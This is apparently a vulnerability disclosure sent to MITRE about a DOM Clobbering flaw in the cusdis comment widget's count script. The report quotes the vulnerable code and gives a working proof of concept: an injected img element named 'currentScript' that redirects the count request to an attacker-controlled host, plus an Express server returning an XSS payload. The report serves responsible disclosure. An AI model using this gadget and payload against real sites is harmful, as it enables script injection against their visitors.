Hi, MITRE Security team!
I have discovered a DOM Clobbering vulnerability in the cusdis package. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.
Note that, we have found similar issues in the other popular client-side libraries for building websites, including Webpack (CVE-2024-43788), Vite (CVE-2024-45812), and layui (CVE-2024-47075), which might be good references to this kind of vulnerability.
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/
The cusdis library is a comment system that can be embedded to arbitrary web applications for collect/show comments. However, it uses the following code snippet to retrieve the comment count from the server and render it on the front end.
async function n() {
const e = document.currentScript || document.querySelector("#for-testing")
, {appId: n, host: r} = e.dataset
, a = r || "https://cusdis.com"
, o = document.querySelectorAll("*[data-cusdis-count-page-id]")
, i = Array.from(o).map((e => e.dataset.cusdisCountPageId))
, s = await t.get(`${a}/api/open/project/${n}/comments/count`, {
params: {
pageIds: i
}
});
Array.from(o).forEach((e => {
e.innerHTML = s.data.data[e.dataset.cusdisCountPageId]
}
))
}However, the document.currentScript lookup can be shadowed by an attacker injected non-script HTML elements (e.g., ) via the browser's named DOM access mechanism. This manipulation allows an attacker to replace the intended script elements with an attacker-controlled scriptless HTML elements. That said, the GET request will send to the attacker-controlled domain and the value from the response will be set the
.innerHTML of e element, leading to XSS attack.
<html>
<body>
<!--payload-->
<img name="currentScript" data-host="http://attacker.controlled.com">
<!--payload-->
<span data-cusdis-count-page-id="XXX-YYY-ZZZ">0</span> comments
<div id="cusdis_thread"
data-host="https://cusdis.com"
data-app-id="c157400c-80eb-4dca-acc7-3cd342adfb22"
data-page-id="XXX-YYY-ZZZ"
data-page-url="XXX"
data-page-title="XXX"></div>
</div>
<script async defer src="https://cusdis.com/js/cusdis.es.js"></script>
<script defer data-host="https://cusdis.com" data-app-id="c157400c-80eb-4dca-acc7-3cd342adfb22" src="https://cusdis.com/js/cusdis-count.umd.js"></script>
</body>
</html>
An attacker can setup the server like:
const express = require('express');
const path = require('path');
const app = express();
const port = 9999;
app.use((req, res, next) => {
res.setHeader('Access-Control-Allow-Origin', '*');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type');
res.setHeader('Content-Type', 'application/javascript');
next();
});
app.get('/api/open/project/:appId/comments/count', (req, res) => {
const data = {
"XXX-YYY-ZZZ": "<img src=0 onerror=alert(1)>"
};
res.json({ data: data });
});
app.listen(port, () => {
console.log(`Attacker Server listening on http://localhost:${port}`);
});
This vulnerability can result in cross-site scripting (XSS) attacks on websites that integrate cusdis and allow users to inject certain scriptless HTML tags without properly sanitizing the dataset attributes.